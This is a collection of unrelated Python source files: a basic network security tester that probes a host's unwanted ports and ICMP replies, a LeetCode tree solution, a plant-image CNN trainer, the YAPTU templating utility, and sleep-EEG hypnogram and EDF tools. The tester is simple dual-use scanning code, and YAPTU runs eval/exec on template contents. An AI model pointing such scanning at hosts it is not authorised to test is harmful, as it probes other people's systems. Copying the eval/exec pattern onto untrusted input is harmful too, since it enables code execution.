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sec_utils/SecNET.py | squigglepuff/firebytes | 0 | 109547 | #!/usr/bin/env python
# *-* coding: utf-8 *-*
import sys
import re
import socket
if sys.version_info[0] < 3:
import pyping
from logger import PrintLog
else:
from sec_utils.logger import PrintLog
'''
\brief This is a basic network testing class.
This class's sole purpose is to test for REALLY basic network vulnerabilities. It'll run through these battery of tests:
o Connection testing (is the connection stable?)
o Port testing (any ports open we don't want?)
o ICMP testing (can I DoS you?)
If ANY of those fail, the class reports a SEC_FAILURE status.
'''
class SecNET:
SEC_SUCCESS = 0x0
SEC_FAILURE = 0xccffccff
SEC_UNTESTED = 0xffaaffaa
m_result = SEC_UNTESTED
m_testResults = {'connection': SEC_UNTESTED, 'port': SEC_UNTESTED, 'icmp': SEC_UNTESTED}
def __init__(self):
global PrintLog # Global functor for PrintLog.
# Setup the defaults.
self.m_result = self.SEC_UNTESTED
self.m_testResults = {'connection': self.SEC_UNTESTED, 'port': self.SEC_UNTESTED, 'icmp': self.SEC_UNTESTED}
PrintLog("Network Pen-Tester ready.", "Info")
'''
\brief Test connectivity.
This function will attempt to test connectivity to the host.
\param[in] host - Hostname/IP to connect to.
\param[in] port - Port to connect to.
\return True upon success, False upon failure.
'''
def ConnectionTest(self, host, port):
global PrintLog # Global functor for PrintLog.
PrintLog("Attempting to establish connection to {0}:{1}".format(host, port), "Debug")
bSuccess = False
try:
lSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lSock.connect((host, port))
lSock.close()
# Success!
self.m_result = self.SEC_SUCCESS
self.m_testResults['connection'] = self.SEC_SUCCESS
bSuccess = True
PrintLog("Successfully connected to {0}:{1}: PASS".format(host, port), "Success")
except (IOError, OSError, socket.error, TypeError, ValueError) as err:
self.m_result = self.SEC_FAILURE
self.m_testResults['connection'] = self.SEC_FAILURE
PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal")
return bSuccess
'''
\brief Test unsecured/unwanted ports.
This function will probe for unsecured/unwanted ports on the given host. It will fail if ANY are fount.
\param[in] host - Hostname/IP to connect to.
\param[in] port_list - Acceptable ports (wanted).
\return True upon success, False upon failure.
'''
def PortTest(self, host, port_list=[443, 587, 993, 995, 8080], full_range=False):
global PrintLog # Global functor for PrintLog.
PrintLog("Scanning for unwanted ports...", "Debug")
bSuccess = False
try:
if full_range == True:
PrintLog("Scanning ALL 65,535 ports!", "Debug")
else:
PrintLog("Scanning ports {0}".format(port_list), "Debug")
unwantedPorts = [25, 26, 80, 110, 143, 3306, 5432]
for port in unwantedPorts:
if port in port_list:
PrintLog("Skipping potentially unsafe port: {0}".format(port), "Warning")
continue
else:
# Scan this port.
try:
lSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lSock.settimeout(1.0)
lSock.connect((host, port))
lSock.close()
PrintLog("Port {0} is open on {1}".format(port, host), "Failure")
self.m_result = self.SEC_FAILURE
self.m_testResults['port'] = self.SEC_FAILURE
break
except (IOError, OSError, socket.error, socket.timeout, TypeError, ValueError) as err:
if type(err) == socket.error or type(err) == socket.timeout:
PrintLog("Port {0} is NOT open on {1}".format(port, host), "Success")
else:
PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal")
sys.exit(255)
if self.m_result != self.SEC_FAILURE and self.m_testResults['port'] != self.SEC_FAILURE:
PrintLog("Port scan complete: PASS!", "Success")
self.m_result = self.SEC_SUCCESS
self.m_testResults['port'] = self.SEC_SUCCESS
bSuccess = True
except (IOError, OSError, socket.error, TypeError, ValueError) as err:
self.m_result = self.SEC_FAILURE
self.m_testResults['port'] = self.SEC_FAILURE
PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal")
return bSuccess
'''
\brief Test for ICMP echos.
This function will check to see if the host is responding to ICMP. If it is, it's an automatic FAIL.
\param[in] host - Hostname/IP to connect to.
\return True upon success, False upon failure.
'''
def IcmpTest(self, host):
global PrintLog # Global functor for PrintLog.
if sys.version_info[0] < 3:
PrintLog("Checking for ICMP echo...", "Debug")
bSuccess = False
try:
icmpResp = pyping.ping(host)
if None != icmpResp.max_rtt:
PrintLog("ICMP responding!", "Failure")
self.m_result = self.SEC_FAILURE
self.m_testResults['icmp'] = self.SEC_FAILURE
else:
PrintLog("ICMP dropped: PASS!", "Success")
self.m_result = self.SEC_SUCCESS
self.m_testResults['icmp'] = self.SEC_SUCCESS
bSuccess = True
except (IOError, OSError, socket.error, TypeError, ValueError) as err:
if type(err) == socket.error or type(err) == socket.timeout:
PrintLog("ICMP not available!", "Failure")
self.m_result = self.SEC_FAILURE
self.m_testResults['icmp'] = self.SEC_FAILURE
else:
PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal")
sys.exit(255)
else:
PrintLog("Version of Python (python>=3) doesn't suppot PyPing! Assuming OK (please check manually)", "Success")
self.m_result = self.SEC_SUCCESS
self.m_testResults['icmp'] = self.SEC_SUCCESS
bSuccess = True
return bSuccess | [
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] |
Binary Tree Maximum Path Sum.py | frank0215/Leetcode_python | 0 | 116868 |
class TreeNode:
def __init__(self, val):
self.val = val
self.left =None
self.right = None
# 只能從root開始的最大路徑和 (可以不選 都不選為0)
def maxPathSumRoot(root):
if not root: return 0
# 有選root 往左或往右
left = maxPathSumRoot(root.left) + root.val
right = maxPathSumRoot(root.right) + root.val
# 沒選root
result = 0
return max(left, right, result)
import sys
class Solution:
# 回傳任意起點走到任意終點的最大路徑和(不可以不選 只少選一個節點)
def maxPathSum(self, root):
if not root: return -(sys.maxsize)
# 經過中間(root) 最大路徑和
middle = maxPathSumRoot(root.left) + root.val + maxPathSumRoot(root.right)
# 不經過中間的最大路徑和
left = self.maxPathSum(root.left)
right = self.maxPathSum(root.right)
return max(left, right, middle)
if __name__=='__main__':
root = TreeNode(-10)
root.left = TreeNode(9)
root.right = TreeNode(20)
root.right.left = TreeNode(15)
root.right.right = TreeNode(7)
print(Solution().maxPathSum(root))
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] |
CNN/dpp_regression.py | phillnguyen/schnablelab | 0 | 143861 | """
train neural network to detect whether plant flowers or not
"""
import warnings
warnings.filterwarnings('ignore',category=FutureWarning)
from glob import glob
import numpy as np
import pickle
import deepplantphenomics as dpp
from pathlib import Path
import os
import sys
def train(train_dir, label_fn, model_dir, epoch, lr):
"""
train_dir: the directory where your training images located
label_fn: the file name of labels under train_dir. Just specify the file name don't inclde the path.
model_dir: the name of you model. Model results will be save to this dir
epoch: specify the epoch. Based on dpp document suggest 100 for plant stress and 500 for counting.
lr: specify learnning rate. 0.0001 used in dpp leaf counting example
"""
model_dir_path = Path(model_dir)
if not model_dir_path.exists():
model_dir_path.mkdir()
tensorboard_dir_path = model_dir_path/'tensorboard'
img_dir = Path(train_dir)
model = dpp.RegressionModel(debug=True, save_checkpoints=True, report_rate=150, tensorboard_dir=str(tensorboard_dir_path), save_dir=str(model_dir_path))
#model.set_batch_size(72)
model.set_batch_size(45)
#model.set_number_of_threads(10)
model.set_number_of_threads(100)
model.set_image_dimensions(418, 283, 3)
model.set_resize_images(True)
model.set_num_regression_outputs(1)
model.set_test_split(0.0)
model.set_validation_split(0.0)
model.set_learning_rate(float(lr))
model.set_weight_initializer('xavier')
model.set_maximum_training_epochs(int(epoch))
# Augmentation options
model.set_augmentation_brightness_and_contrast(True)
model.set_augmentation_flip_horizontal(True)
model.set_augmentation_flip_vertical(True)
#model.set_augmentation_crop(True)
# Load labels and images
model.load_multiple_labels_from_csv(img_dir/label_fn, id_column=0)
model.load_images_with_ids_from_directory(img_dir)
# Define a model architecture
model.add_input_layer()
model.add_convolutional_layer(filter_dimension=[5, 5, 3, 32], stride_length=1, activation_function='tanh')
model.add_pooling_layer(kernel_size=3, stride_length=2)
model.add_convolutional_layer(filter_dimension=[5, 5, 32, 64], stride_length=1, activation_function='tanh')
model.add_pooling_layer(kernel_size=3, stride_length=2)
model.add_convolutional_layer(filter_dimension=[3, 3, 64, 64], stride_length=1, activation_function='tanh')
model.add_pooling_layer(kernel_size=3, stride_length=2)
model.add_convolutional_layer(filter_dimension=[3, 3, 64, 64], stride_length=1, activation_function='tanh')
model.add_pooling_layer(kernel_size=3, stride_length=2)
model.add_output_layer()
# Begin training the model
model.begin_training()
if len(sys.argv)==6:
train(*sys.argv[1:])
else:
print('train_dir', 'label_fn', 'model_dir', 'epoch', 'lr')
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] |
py/yaptu.py | karim7262/pytudes | 1 | 73737 | """Yet Another Python Templating Utility, Version 1.2, by <NAME>.
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52305
(Specialized to HTML and modified by <NAME>.)
Copies input to output, with some substitutions. There are three types
of substitutions: lexical, expression, and statement.
LEXICAL SUBSTITUTIONS:
& < >
These characters, if surrounded by whitespace, are replaced by
the corresonding HTML entities: &, <, >.
EXPRESSION SUBSTITUTIONS:
<<exp>>
Replace <<exp>> by eval(exp), where exp is a Python expression.
The most common use is when exp is just a variable name.
Example: <<green>>
Special case 1: If exp starts with '/', replace '/' by '_'.
Example: <</green>> becomes <<_green>
Special case 2: If exp evals to a callable, call it.
Example: <<random.random>> is the same as <<random.random()>>
Special case 3: If exp evals to None, replace it with ''.
Example: <<list.append(item)>> generates no text.
STATEMENT SUBSTITUTIONS:
All statement substitutions start with a #[ in column 1, and end with
a #] in column 1 of a subsequent line. Nesting is allowed, and
works like you would expect. There are two variants:
#[
stmts
#]
Any number of lines of Python stmts are executed.
The first line must be empty, except for the #[
#[ stmt-header:
lines
#]
The lines are interpreted as HTML with embedded expressions,
and are sent to output, once for each execution of stmt-header.
stmt-header is usually a for or if; This is hard to explain,
but easy to see with an example:
<table><tr><th> Number <th> Number squared
#[ for i in range(10):
<tr><td> <<i>> <td> <<i**2>>
#]
</table>
This produces one line of the table for each value of i in [0 .. 9].
If your compound statement has multiple stmt-headers, you use #| to
introduce the subsequent stmt-headers (such as else: or except:).
Another example:
#[ if time.localtime()[6] in [5, 6]:
Have a good weekend!
#| else:
Time for work.
#]
"""
import sys, re, os, os.path
class Copier:
"Smart-copier (YAPTU) class"
def copyblock(self, i=0, last=None):
"Main copy method: process lines [i,last) of block"
def repl(match, self=self):
"Replace the match with its value as a Python expression."
expr = self.preproc(match.group(1), 'eval')
if self.verbose: print '=== eval{%s}' % expr,
try:
val = eval(expr, self.globals)
except:
self.oops('eval', expr)
if callable(val): val = val()
if val == None: val = ''
if self.verbose: print '========>', val
return str(val)
block = self.globals['_bl']
if last is None: last = len(block)
while i < last:
line = block[i]
if line.startswith("#["): # a statement starts at line block[i]
# i is the last line to _not_ process
stmt = line[2:].strip()
j = i+1 # look for 'finish' from here onwards
nest = 1 # count nesting levels of statements
while j<last and not stmt.endswith("#]"):
line = block[j]
# first look for nested statements or 'finish' lines
if line.startswith("#]"): # found a statement-end
nest = nest - 1
if nest == 0: break # j is first line to _not_ process
elif line.startswith("#["): # found a nested statement
nest = nest + 1
elif nest == 1 and line.startswith("#|"):
# look for continuation only at this nesting
nestat = line[2:].strip()
stmt = '%s _cb(%s,%s)\n%s' % (stmt,i+1,j,nestat)
i=j # again, i is the last line to _not_ process
j = j+1
if stmt == '': ## A multi-line python suite
self.execute(''.join(block[i+1:j]))
i = j+1
else: ## The header of a for loop (etc.) is on this line
self.execute("%s _cb(%s,%s)" % (stmt,i+1,j))
i = j+1
else: # normal line, just copy with substitution
self.outf.write(self.regex.sub(repl,self.preproc(line,'copy')))
i = i+1
def __init__(self, globals):
"Create a Copier."
self.regex = re.compile("<<(.*?)>>")
self.globals = globals
self.globals['_cb'] = self.copyblock
self.outf = sys.stdout
self.verbose = 0
def execute(self, stmt):
stmt = self.preproc(stmt, 'exec') + '\n'
if self.verbose:
print "******* executing {%s} in %s" % (stmt, self.globals.keys())
try:
exec stmt in self.globals
except:
self.oops('exec', stmt)
def oops(self, why, what):
print 'Something went wrong in %sing {%s}' % (why, what)
print 'Globals:', self.globals.keys(), \
self.globals.get('SECTIONS', '???')
raise
def preproc(self, string, why, reg=re.compile(r"\s([<>&])\s"),
table={'&':' & ', '<':' < ', '>':' > '}):
# If it starts with '/', change to '_'
if why in ('exec', 'eval'):
string = string.strip()
if string[0] == '/':
string = '_' + string[1:]
return string
elif why == 'copy':
# Expand & < > into entitites if surrounded by whitespace
return reg.sub(lambda match: table[match.group(1)], string)
def copyfile(self, filename, ext="html"):
"Convert filename.* to filename.ext, where ext defaults to html."
global yaptu_filename
outname = re.sub('[.][a-zA-Z0-9]+?$', '', filename) + '.'+ext
print 'Transforming', filename, 'to', outname
self.globals['_bl'] = file(filename).readlines()
yaptu_filename = filename
self.outf = file(outname, 'w')
self.copyblock()
if __name__ == '__main__':
copier = Copier(globals())
for filename in sys.argv[1:]:
if filename == '-v':
copier.verbose = 1
else:
copier.copyfile(filename)
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] |
sleep_utils.py | skjerns/NT1-HRV | 1 | 30866 | <filename>sleep_utils.py
# -*- coding: utf-8 -*-
"""
Created on Thu Nov 21 20:19:26 2019
@author: skjerns
"""
from pyedflib.highlevel import *
import os
import gc
import warnings
import ospath #pip install https://github.com/skjerns/skjerns-utils
import numpy as np
import pyedflib #pip install https://github.com/skjerns/pyedflib/archive/custom_version.zip
import time
from tqdm import tqdm
from datetime import datetime
import dateparser
import logging
from joblib import Parallel, delayed
import matplotlib.pyplot as plt
from lspopt import spectrogram_lspopt
import matplotlib
def read_hypnogram(hypno_file, epochlen = 30, epochlen_infile=None, mode='auto', exp_seconds=None):
"""
reads a hypnogram file as created by VisBrain or as CSV type
:param hypno_file: a path to the hypnogram
:param epochlen: how many seconds per label in output
:param epochlen_infile: how many seconds per label in original file
:param mode: 'auto', 'time' or 'csv', see SleepDev/docs/hypnogram.md
:param exp_seconds: How many seconds does the matching recording have?
"""
assert str(type(epochlen)()) == '0'
assert epochlen_infile is None or str(type(epochlen_infile)()) == '0'
with open(hypno_file, 'r') as file:
content = file.read()
content = content.replace('\r', '') # remove windows style \r\n
#conversion dictionary
conv_dict = {'WAKE':0, 'WACH':0, 'WK':0, 'NWAKE': 0,
'N1': 1, 'NREM1': 1,
'N2': 2, 'NREM2': 2,
'N3': 3, 'NREM3': 3,
'N4':3, 'NREM4': 3,
'REM': 4,
0:0, 1:1, 2:2, 3:3, 4:4, -1:5, 5:5,
'ART': 5, 'A':5, 'ARTEFAKT':5, '8': 5,
'MT':5, 'BEWEGUNG':5, '9':5, '?': 5, ' ': 5, 'NAN': 5,
'UNSCORED': 5}
lines = content.split('\n')
if mode=='auto':
if lines[0].startswith('*'): # if there is a star, we assume it's the visbrain type
mode = 'visbrain'
elif lines[0].replace('-', '').isnumeric():
mode = 'csv'
elif lines[0].startswith('[HypnogramAASM]'):
mode = 'dreams'
elif lines[0].startswith(' Epoch Number ,Start Time ,Sleep Stage'):
mode = 'alice'
elif 'abstime' in lines[0]:
mode = 'dat'
elif lines[0].startswith('Signal ID:'):
mode = 'somnoscreen'
elif any(['luna-' in x for x in lines[:5]]):
mode = 'luna'
elif hypno_file.endswith('.eannot'):
mode = 'csv'
else :
mode==None
# reading file in format as used by <NAME>
# files with a datestamp per stage annotation
if mode=='dat':
if epochlen_infile is not None:
warnings.warn('epochlen_infile has been supplied, but hypnogram is'
'time based, will be ignored')
elif exp_seconds and not epochlen_infile:
epochlen_infile=exp_seconds//len(lines)
print('[INFO] Assuming csv annotations with one entry per {} seconds'.format(epochlen_infile))
stages = []
for line1, line2 in zip(lines[1:-1], lines[2:]):
if len(line1.strip())==0: continue # skip empty lines
if len(line2.strip())==0: continue # skip empty lines
curr_t, _, stage, *_ = line1.split('\t')
next_t,*_ = line2.split('\t')
curr_t = datetime.strptime(curr_t, '%Y-%m-%d %H:%M:%S')
next_t = datetime.strptime(next_t, '%Y-%m-%d %H:%M:%S')
assert next_t > curr_t, 'timestamp 2 is smaller than 1? {} < {}'.format(next_t, curr_t)
sec_diff = (next_t - curr_t).seconds
if exp_seconds and epochlen_infile!=sec_diff:
warnings.warn('Epochlen in file is {} but {} would be selected'.format(sec_diff, epochlen_infile))
stage = conv_dict[stage.upper()]
stages.extend([stage]*sec_diff)
elif mode=='somnoscreen':
if epochlen_infile is not None:
warnings.warn('epochlen_infile has been supplied, but information is in file, will be ignored')
epochlen_infile = int(lines[5].replace('Rate: ', '').replace('s',''))
stages = []
for line in lines[6:]:
if len(line.strip())==0: continue # skip empty lines
_,stage = line.split('; ')
stage = conv_dict[stage.upper()]
stages.extend([stage]*epochlen_infile)
# read hypnogram as written by visbrain (time based)
elif mode=='visbrain':
if epochlen_infile is not None:
warnings.warn('epochlen_infile has been supplied, but hypnogram is time based,'
'will be ignored')
stages = []
prev_t = 0
for line in lines:
if len(line.strip())==0: continue
if line[0] in '*#%/\\"\'': continue # this line seems to be a comment
s, t = line.split('\t')
t = float(t)
s = conv_dict[s.upper()]
l = int(np.round((t-prev_t))) # length of this stage
stages.extend([s]*l)
prev_t = t
# read hypnogram as simple CSV file, number based or string based
elif mode=='csv':
if exp_seconds and not epochlen_infile:
epochlen_infile=exp_seconds//len(lines)
print('[INFO] Assuming csv annotations with one entry per {} seconds'.format(epochlen_infile))
elif epochlen_infile is None:
if len(lines) < 2500: # we assume no recording is longer than 21 hours
epochlen_infile = 30
else:
epochlen_infile = 1
print('[INFO] Assuming csv annotations are per second')
lines = [conv_dict[l.upper()] if isinstance(l, str) else int(l) for l in lines if len(l)>0]
lines = [[line]*epochlen_infile for line in lines]
stages = np.array(lines).flatten()
# for the Dreams Database
# http://www.tcts.fpms.ac.be/~devuyst/Databases/DatabaseSubjects/
elif mode=='dreams':
epochlen_infile = 5
conv_dict = {-2:5,-1:5, 0:5, 1:3, 2:2, 3:1, 4:4, 5:0}
lines = [[int(line)] for line in lines[1:] if len(line)>0]
lines = [[line]*epochlen_infile for line in lines]
stages = np.array([conv_dict[l.upper()] for l in np.array(lines).flatten()])
# for hypnogram created with Alice 5 software
elif mode=='alice':
epochlen_infile = 30
lines = [line.split(',')[-1] for line in lines[1:] if len(line)>0]
lines = [[line]*epochlen_infile for line in lines]
try: stages = np.array([conv_dict[l] for l in np.array(lines).flatten()])
except KeyError as e:
print('Unknown sleep stage in file')
raise e
elif mode=='luna':
# hypnograms created by Luna software from sleepdata.org
if epochlen_infile is not None:
warnings.warn('epochlen_infile has been supplied, but information is in file, will be ignored')
import xml.etree.ElementTree as ET
root = ET.fromstringlist(lines)
# we don't actually properly parse it as it is intended, just
# assume that it always contains the same labels
instances = root[-1]
stages = []
for instance in instances:
stage_str = instance.attrib['class']
try: stage_nr = conv_dict[stage_str.upper()]
except KeyError as e:
print(f'Unknown sleep stage in file {hypno_file} : {stage_str}')
raise e
duration = int(instance.find('Duration').text)
if duration!=30:
raise ValueError(f'Duration!=30, not expected: {duration}')
stages.extend([stage_nr]*duration)
stages = np.array(stages)
else:
raise ValueError('This is not a recognized hypnogram: {}'.format(hypno_file))
stages = stages[::epochlen]
if len(stages)==0:
print('[WARNING] hypnogram loading failed, len == 0')
return np.array(stages)
def infer_eeg_channels(ch_names):
"""
This function receives a list of channel names and will return
one frontal, one central and one occipital channel.
"""
f = ['EEG Fz', 'EEG F4', 'EEG Fpz', 'EEG Fp1', 'EEG Fp2']
c = ['EEG C4', 'EEG C3']
o = ['EEG Oz', 'EEG O2', 'EEG O1']
found = []
# find frontal channel
for ch in ch_names:
if any([x in ch for x in f]):
found.append(ch)
break
# find central channel
for ch in ch_names:
if any([x in ch for x in c]):
found.append(ch)
break
# find occipital channel
for ch in ch_names:
if any([x in ch for x in o]):
found.append(ch)
break
return found
def infer_eog_channels(ch_names):
"""
This function receives a list of channel names and will return
one frontal, one central and one occipital channel.
"""
eog = ['EOG ROC', 'EOG LOC']
found = []
# find frontal channel
for ch in ch_names:
if any([x in ch for x in eog]):
found.append(ch)
return found
def infer_emg_channels(ch_names):
"""
This function receives a list of channel names and will return
one frontal, one central and one occipital channel.
"""
emg = ['EM<NAME>']
found = []
# find frontal channel
for ch in ch_names:
if any([x in ch for x in emg]):
found.append(ch)
return found
def hypno2time(hypno, seconds_per_epoch=1):
"""
Converts a hypnogram based in epochs into the format as defined
by VisBrain: http://visbrain.org/sleep.html#save-hypnogram
"""
hypno = np.repeat(hypno, seconds_per_epoch)
s = '*Duration_sec {}\n'.format(len(hypno))
stages = ['Wake', 'N1', 'N2', 'N3', 'REM', 'Art']
d = dict(enumerate(stages))
hypno_str = [d[h] for h in hypno]
last_stage=hypno_str[0]
for second, stage in enumerate(hypno_str):
if stage!=last_stage:
s += '{}\t{}\n'.format(last_stage, second)
last_stage=stage
s += '{}\t{}\n'.format(stage, second+1)
return s
def write_hypnogram(hypno, filename, seconds_per_annotation=30,
comment=None, overwrite=False):
"""
Save a hypnogram based on annotations per epochs in VisBrain style
(ie. The exact onset of each sleep stage is annotated in time space.)
This format is recommended for saving hypnograms as it avoids ambiguity.
:param filename: where to save the data
:param hypno: The hypnogram either as list or np.array
:param seconds_per_epoch: How many seconds each annotation contains
:param comment: Add a comment to the beginning of the file
:param overwrite: overwrite file?
"""
assert not ospath.exists(filename) or overwrite, \
'File already exists, no overwrite'
hypno = np.repeat(hypno, seconds_per_annotation)
hypno_str = hypno2time(hypno)
if comment is not None:
comment = comment.replace('\n', '\n*')
hypno_str = '*' + comment + '\n' + hypno_str
hypno_str = hypno_str.replace('\n\n', '\n')
with open(filename, 'w') as f:
f.write(hypno_str)
return True
def minmax2lsb(dmin, dmax, pmin, pmax):
"""
converts the edf min/max values to lsb and offset (x*m+b)
"""
lsb = (pmax - pmin) / (dmax - dmin)
offset = pmax / lsb - dmax
return lsb, offset
def make_header(technician='', recording_additional='', patientname='',
patient_additional='', patientcode= '', equipment= '',
admincode= '', gender= '', startdate=None, birthdate= ''):
"""
A convenience function to create an EDF header (a dictionary) that
can be used by pyedflib to update the main header of the EDF
"""
if not( startdate is None or isinstance(startdate, datetime)):
warnings.warn('must be datetime or None, is {}: {},attempting convert'\
.format(type(startdate), startdate))
startdate = dateparser.parse(startdate)
if not (birthdate == '' or isinstance(birthdate, (datetime,str))):
warnings.warn('must be datetime or empty, is {}, {}'\
.format(type(birthdate), birthdate))
birthdate = dateparser.parse(birthdate)
if startdate is None:
now = datetime.now()
startdate = datetime(now.year, now.month, now.day,
now.hour, now.minute, now.second)
del now
if isinstance(birthdate, datetime):
birthdate = birthdate.strftime('%d %b %Y')
local = locals()
header = {}
for var in local:
if isinstance(local[var], datetime):
header[var] = local[var]
else:
header[var] = str(local[var])
return header
def make_signal_header(label, dimension='uV', sample_rate=256,
physical_min=-200, physical_max=200, digital_min=-32768,
digital_max=32767, transducer='', prefiler=''):
"""
A convenience function that creates a signal header for a given signal.
This can be used to create a list of signal headers that is used by
pyedflib to create an edf. With this, different sampling frequencies
can be indicated.
:param label: the name of the channel
"""
signal_header = {'label': label,
'dimension': dimension,
'sample_rate': sample_rate,
'physical_min': physical_min,
'physical_max': physical_max,
'digital_min': digital_min,
'digital_max': digital_max,
'transducer': transducer,
'prefilter': prefiler}
return signal_header
def make_signal_headers(list_of_labels, dimension='uV', sample_rate=256,
physical_min=-200, physical_max=200, digital_min=-32768,
digital_max=32767, transducer='', prefiler=''):
"""
A function that creates signal headers for a given list of channel labels.
This can only be used if each channel has the same sampling frequency
:param list_of_labels: A list with labels for each channel.
:returns: A dictionary that can be used by pyedflib to update the header
"""
signal_headers = []
for label in list_of_labels:
header = make_signal_header(label, dimension=dimension, sample_rate=sample_rate,
physical_min=physical_min, physical_max=physical_max,
digital_min=digital_min, digital_max=digital_max,
transducer=transducer, prefiler=prefiler)
signal_headers.append(header)
return signal_headers
def write_edf(edf_file, signals, signal_headers, header, digital=False,
correct=False):
"""
Write signals to an edf_file. Header can be generated on the fly.
:param signals: The signals as a list of arrays or a ndarray
:param signal_headers: a list with one signal header(dict) for each signal.
See pyedflib.EdfWriter.setSignalHeader
:param header: a main header (dict) for the EDF file, see
pyedflib.EdfWriter.setHeader for details
:param digital: whether signals are presented digitally
or in physical values
:returns: True if successful, False if failed
"""
assert header is None or isinstance(header, dict), \
'header must be dictioniary'
assert isinstance(signal_headers, list), \
'signal headers must be list'
assert len(signal_headers)==len(signals), \
'signals and signal_headers must be same length'
n_channels = len(signals)
# check min and max values
if digital==True and correct:
for sig, sigh in zip(signals,signal_headers):
dmin, dmax = sigh['digital_min'], sigh['digital_max']
pmin, pmax = sigh['physical_min'], sigh['physical_max']
ch_name=sigh['label']
if dmin>dmax:
logging.warning('{}: dmin>dmax, {}>{}, will correct'.format(\
ch_name, dmin, dmax))
dmin, dmax = dmax, dmin
sig *= -1
if pmin>pmax:
logging.warning('{}: pmin>pmax, {}>{}, will correct'.format(\
ch_name, pmin, pmax))
pmin, pmax = pmax, pmin
sig *= -1
dsmin, dsmax = round(sig.min()), round(sig.max())
psmin = dig2phys(dsmin, dmin, dmax, pmin, pmax)
psmax = dig2phys(dsmax, dmin, dmax, pmin, pmax)
min_dist = np.abs(dig2phys(1, dmin, dmax, pmin, pmax))
if dsmin<dmin:
logging.warning('{}:Digital signal minimum is {}'\
', but value range is {}, will correct'.format\
(ch_name, dmin, dsmin))
dsmin = min(dsmin, 32767)
sigh['digital_min'] = dsmin
if dsmax>dmax:
logging.warning('{}:Digital signal maximum is {}'\
', but value range is {}, will correct'.format\
(ch_name, dmax, dsmax))
dsmax = min(dsmax, 32767)
sigh['digital_max'] = dsmax
if psmax-min_dist>pmax:
logging.warning('{}:Phyiscal signal maximum is {}'\
', but value range is {}, will correct'.format\
(ch_name, pmax, psmax))
sigh['physical_max'] = psmax
if psmin+min_dist<pmin:
logging.warning('{}:Physical signal minimum is {}'\
', but value range is {}, will correct'.format\
(ch_name, pmin, psmin))
sigh['physical_min'] = psmin
# also add annotations
annotations = header.get('annotations', '')
with pyedflib.EdfWriter(edf_file, n_channels=n_channels) as f:
f.setSignalHeaders(signal_headers)
f.setHeader(header)
f.writeSamples(signals, digital=digital)
for annotation in annotations:
f.writeAnnotation(*annotation)
del f
return os.path.isfile(edf_file)
def change_polarity(edf_file, channels, new_file=None):
if new_file is None:
new_file = os.path.splitext(edf_file)[0] + '_inv.edf'
if isinstance(channels, str): channels=[channels]
channels = [c.lower() for c in channels]
signals, signal_headers, header = read_edf(edf_file, digital=True)
for i,sig in enumerate(signals):
shead = signal_headers[i]
label = signal_headers[i]['label'].lower()
if label in channels:
print('inverting {}'.format(label))
shead['physical_min']*=-1
shead['physical_max']*=-1
write_edf(new_file, signals, signal_headers, header, digital=True)
compare_edf(edf_file, new_file)
def specgram_multitaper(data, sfreq, sperseg=30, perc_overlap=1/3,
lfreq=0, ufreq=40, show_plot=True, title='', ax=None):
"""
Display EEG spectogram using a multitaper from 0-30 Hz
:param data: the data to visualize, should be of rank 1
:param sfreq: the sampling frequency of the data
:param sperseg: number of seconds to use per FFT
:param noverlap: percentage of overlap between segments
:param lfreq: Lower frequency to display
:param ufreq: Upper frequency to display
:param show_plot: If false, only the mesh is returned, but not Figure opened
:param ax: An axis where to plot. Else will create a new Figure
:returns: the resulting mesh as it would be plotted
"""
if ax is None:
plt.figure()
ax=plt.subplot(1,1,1)
assert isinstance(show_plot, bool), 'show_plot must be boolean'
nperseg = int(round(sperseg * sfreq))
overlap = int(round(perc_overlap * nperseg))
f_range = [lfreq, ufreq]
freq, xy, mesh = spectrogram_lspopt(data, sfreq, nperseg=nperseg,
noverlap=overlap, c_parameter=20.)
if mesh.ndim==3: mesh = mesh.squeeze().T
mesh = 20 * np.log10(mesh+0.0000001)
idx_notfinite = np.isfinite(mesh)==False
mesh[idx_notfinite] = np.min(mesh[~idx_notfinite])
f_range[1] = np.abs(freq - ufreq).argmin()
sls = slice(f_range[0], f_range[1] + 1)
freq = freq[sls]
mesh = mesh[sls, :]
mesh = mesh - mesh.min()
mesh = mesh / mesh.max()
if show_plot:
ax.imshow(np.flipud(mesh), aspect='auto')
formatter = matplotlib.ticker.FuncFormatter(lambda s, x: time.strftime('%H:%M', time.gmtime(int(s*(sperseg-overlap/sfreq)))))
ax.xaxis.set_major_formatter(formatter)
if xy[-1]<3600*7: # 7 hours is half hourly
tick_distance = max(np.argmax(xy>sperseg*60),5) #plot per half hour
else: # more than 7 hours hourly ticks
tick_distance = np.argmax(xy>sperseg*60)*2 #plot per half hour
two_hz_pos = np.argmax(freq>1.99999999)
ytick_pos = np.arange(0, len(freq), two_hz_pos)
ax.set_xticks(np.arange(0, mesh.shape[1], tick_distance))
ax.set_yticks(ytick_pos)
ax.set_yticklabels(np.arange(ufreq, lfreq-1, -2))
ax.set_xlabel('Time after onset')
ax.set_ylabel('Frequency')
ax.set_title(title)
warnings.filterwarnings("ignore", message='This figure includes Axes that are not compatible')
plt.tight_layout()
return mesh
def plot_hypnogram(stages, labeldict=None, title=None, epochlen=30, ax=None,
verbose=True, xlabel=True, ylabel=True, **kwargs,):
"""
Plot a hypnogram, the flexible way.
A labeldict should give a mapping which integer belongs to which class
E.g labeldict = {0: 'Wake', 4:'REM', 1:'S1', 2:'S2', 3:'SWS'}
or {0:'Wake', 1:'Sleep', 2:'Sleep', 3:'Sleep', 4:'Sleep', 5:'Artefact'}
The order of the labels on the plot will be determined by the order of the dictionary.
E.g. {0:'Wake', 1:'REM', 2:'NREM'} will plot Wake on top, then REM, then NREM
while {0:'Wake', 2:'NREM', 1:'NREM'} will plot Wake on top, then NREM, then REM
This dictionary can be infered automatically from the numbers that are present
in the hypnogram but this functionality does not cover all cases.
:param stages: An array with different stages annotated as integers
:param labeldict: An enumeration of labels that correspond to the integers of stages
:param title: Title of the window
:param epochlen: How many seconds is one epoch in this annotation
:param ax: the axis in which we plot
:param verbose: Print stuff or not.
:param xlabel: Display xlabel ('Time after record start')
:param ylabel: Display ylabel ('Sleep Stage')
:param kwargs: additional arguments passed to plt.plot(), e.g. c='red'
"""
if labeldict is None:
labeldict = {}
